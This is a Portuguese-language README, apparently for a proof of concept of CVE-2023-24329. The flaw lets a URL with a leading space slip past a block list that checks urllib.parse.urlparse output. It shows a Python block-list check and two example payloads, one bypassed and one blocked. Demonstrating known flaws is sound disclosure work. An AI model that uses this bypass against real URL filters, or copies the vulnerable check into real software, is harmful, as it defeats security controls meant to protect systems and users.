
Prova de conceito demonstrando uma bypass na análise de URLs no urllib.parse do Python (CVE-2023-24329) que permite contornar listas de bloqueio ao prefixar espaços.
As funções de análise de URL focam em dividir uma string de URL em seus componentes, ou em combinar componentes de URL em uma string de URL.
Simplesmente urllib.parse usado para analisar urls, podemos contorná-lo adicionando espaços em branco antes da url. Isso acontece no python 3.11.4 e anteriores.
Vamos detalhar o example.py
Aqui está um conjunto de sites que você não deve acessar:
blocked_list = [
"http://example.com/",
"http://example2.com/"
]
Esta função verifica se o site está na lista de bloqueio ou não, se estiver na lista de bloqueio deve retornar URL Blocked
def is_url_blocked(url):
parse = urllib.parse.urlparse(url).geturl()
if parse in blocked_list: return 'URL Blocked'
else: return 'Bypassed'
Agora adicionei duas urls e verifico se alguma delas está bloqueada e não pode ser acessada:
payload1 = " http://example.com/"
payload2 = "http://example.com/"
print(
is_url_blocked(payload1),
"\n",
is_url_blocked(payload2)
)
payload1 é onde contornei is_url_blocked() porque adicionar um espaço longo antes da url contornará urllib.parse.urlparse(url).geturl() e não será executado como esperado.
É por isso que a saída é
Bypassed
Mas em payload2 obtemos
URL Blocked
Se você gostaria de me apoiar com uma doação, recomendo que a dê a alguém que realmente precise, por favor. Se você fizer isso, considere que ganhei seu apoio.